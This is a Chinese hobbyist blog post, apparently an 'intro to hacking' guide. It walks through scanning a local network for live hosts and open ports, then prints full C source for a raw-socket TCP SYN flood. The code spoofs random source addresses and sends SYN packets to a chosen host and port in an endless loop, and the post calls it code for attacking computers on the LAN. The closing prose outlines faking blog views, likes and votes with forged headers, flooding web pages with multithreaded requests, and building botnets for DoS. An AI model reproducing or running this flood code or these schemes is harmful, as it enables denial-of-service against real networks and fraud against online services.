网上看到很多都是使用nmap工具,这个工具我没有使用过,我自己实现nmap工具的功能,首先我们查询局域网内有哪些电脑是alive的,下面我写了一个脚本:
ping.sh
这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp 命令:
然后在使用netstat -an命令来分析端口号。
这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等。
查看结果分析:
Proto Recv-Q Send-Q Local Address Foreign Address State Local Adress代表本地开放的端口, Foreign Adress代表的是外网的地址, State代表的是状态。 Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。 listening代表正在监听的端口 Established表示已激活的IP和端口 wait表示正在等待监听
下面是我写的一个代码,可以攻击局域网内电脑:
main.c
< span style = "font-size:18px;" > #include < errno.h > #include< string.h > #include< netdb.h > #include< stdio.h > #include< stdlib.h > #include< unistd.h > #include< netinet /ip.h > #include< netinet /tcp.h > void send_data(int sockfd,struct sockaddr_in *addr,char *port); unsigned short check_sum(unsigned short *addr,int len); // ./argv[0] des_hostname/ip des_port local_port int main(int argc,char *argv[]) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on = 1 ; if(argc!=4) { fprintf(stderr,"Usage:%s des_hostname/ip des_port local_port\n",argv[0]); exit(EXIT_FAILURE); } memset(&addr,0,sizeof(struct sockaddr_in)); addr.sin_family = AF_INET ; if(inet_aton(argv[1],&addr.sin_addr)==0) { host = gethostbyname (argv[1]); if(host ==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(EXIT_FAILURE); } addr.sin_addr =*(struct in_addr *)(host- > h_addr_list[0]); } addr.sin_port = htons (atoi(argv[2])); sockfd = socket (AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd< 0 ) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(EXIT_FAILURE); } setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); send_data(sockfd,&addr,argv[3]); } void send_data(int sockfd,struct sockaddr_in *addr,char *port) { char buffer[100]; struct iphdr *ip; struct tcphdr *tcp; int head_len; head_len = sizeof (struct iphdr)+sizeof(struct tcphdr); bzero(buffer,100); ip =(struct iphdr *)buffer; ip-> version = IPVERSION ; ip-> ihl = sizeof (struct ip) > > 2; ip-> tos = 0 ; ip-> tot_len = htons (head_len); ip-> id = 0 ; ip-> frag_off = 0 ; ip-> ttl = MAXTTL ; ip-> protocol = IPPROTO_TCP ; ip-> check = 0 ; ip-> daddr = addr - > sin_addr.s_addr; tcp =(struct tcphdr *)(buffer +sizeof(struct ip)); tcp-> source = htons (atoi(port)); tcp-> dest = addr - > sin_port; tcp-> seq = random (); tcp-> ack_seq = 0 ; tcp-> doff = 5 ; tcp-> syn = 1 ; tcp-> check = 0 ; while(1) { ip-> saddr = random (); tcp-> check = 0 ; tcp-> check = check_sum ((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len) { register int nleft = len ; register int sum = 0 ; register short *w = addr ; short answer = 0 ; while(nleft> 1) { sum+=*w++; nleft- = 2 ; } if(nleft ==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum =(sum > > 16)+(sum&0xffff); sum+=(sum> > 16); answer =~sum; return(answer); } </ span >
下面在提供一些黑客技术的入门:
各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。
攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。
年轻就是资本,有的是时间和青春去挥霍,去学习技术。
不要把这些技术用到不正当的场合,开心一下就行。
我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。